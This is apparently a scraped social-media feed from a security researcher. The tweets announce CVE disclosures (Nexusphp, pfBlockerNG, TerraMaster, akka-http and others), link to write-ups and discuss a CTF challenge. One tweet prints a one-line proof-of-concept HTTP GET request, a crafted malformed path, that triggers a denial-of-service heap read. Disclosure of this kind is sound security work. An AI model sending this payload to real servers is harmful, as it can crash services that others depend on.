Simon

IT Security / SysAdmin / Bug Hunter / CTF Player

[Simon @d0td0tslash]

@Luke_like @wireditalia Ottimo articolo, per qualche dettaglio un po più tecnico ho pubblicato qualcosa qui: https://t.co/mUmH3jdsWj a fine Maggio.

Spero possa tornare utile più in là

[Simon @d0td0tslash]

Qualcomm chip vulnerability enables remote attack by voice call

https://t.co/jJrEZdEa5E

[IHTeam @IHTeam_]

Anyone fancy another remote unauth RCE?

Time to update your mirth-connect instance to version 4.4.0

https://t.co/VPMWrY4niD

[Simon @d0td0tslash]

I'll be attending the OWASP AppSec conference in Dublin on the 15th and 16th - Want to chat? DM

[Simon @d0td0tslash]

Disclosing 4 new CVEs affecting Nexusphp <= 1.7.32

CVE2022-46887 – Unauthenticated SQL Injection
CVE2022-46889 – Authenticated Stored Cross-Site Scripting
CVE2022-46888 – Unauthenticated Reflected Cross-Site Scripting
CVE2022-46890 – Weak Access Control

https://t.co/jsQBPkDlp5

[IHTeam @IHTeam_]

[IT] Dopo 11 mesi dalla nostra prima segnalazione ad Aton Storage (@aton_storage), i dettagli della vulnerabilità dei loro accumulatori smart è stata pubblicata.

https://t.co/gxJabzcfFl

[IHTeam @IHTeam_]

pfBlockerNG Unauth RCE Vulnerability (CVE-2022-31814)

https://t.co/cutyhhhsb8

[Simon @d0td0tslash]

Pentesting Keycloak 🔑

https://t.co/DxK1swQaEs

[Simon @d0td0tslash]

Stack overflow leading to DoS in akka-http server <= 10.2.6

Technical Writeup: https://t.co/Jmc62n1ZrY

[IHTeam @IHTeam_]

To all (non-public) Tor OnionShare service operators: update to 2.4 to fix CVE-2021-41867 and CVE-2021-41868

Technical writeup: https://t.co/0MZpUgSo9d

[Simon @d0td0tslash]

jitsi-meet < 2.0.5963-1 Incorrect Default Permissions
CVE-2021-33506

https://t.co/RZaDE94pZP

[Simon @d0td0tslash]

@symeonp @PenTestPartners Good luck Symeon

[Simon @d0td0tslash]

@portcullislabs @ciscoctf Of course, the flag format was also part of the plaintext. Great, got it, and finally completed the Preview Level.
Thanks for the fun ;)

[Simon @d0td0tslash]

@portcullislabs cc: @ciscoctf
Is "Crack me" challenge (#13) really using a weak password that we can find in common dictionaries?
Already tried with crackstation and rockyou.
Also, are the weird usernames in the login attempts important?
Ty

[IHTeam @IHTeam_]

Time to update your NAS.
Unauth RCE on TerraMaster TOS <= 4.2.06

https://t.co/aZUJ90qnHQ

#infosec #InternetOfThings

[Simon @d0td0tslash]

My first OoB Heap Read (leading to DoS) CVE

PoC:
GET /%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%00 HTTP/1.1

[CVE @CVEnew]

CVE-2020-26566 A Denial of Service condition in Motion-Project Motion 3.2 through 4.3.1 allows remote unauthenticated users to cause a webu.c segmentation fault and kill the main process via a crafted HTTP request. https://t.co/A44eHv05VA

[CCob🏴󠁧󠁢󠁷󠁬󠁳󠁿 @_EthicalChaos_]

As promised, standalone PoC for Citrix Workspace app vulnerability (CVE-2020-8207)

https://t.co/RgV0CHjn4s

[IHTeam @IHTeam_]

[ITA] A volte ritornano

2014 >> 2020

https://t.co/e5310l2rbe

[Omri Herscovici @omriher]

We just disclosed SIGRed (CVE-2020-1350): Critical Vulnerability in all Windows DNS Servers (by @sagitz_).

Bonus: can also be triggered using the browser through a malicious link. #SIGRed
https://t.co/MMnjPwIUAp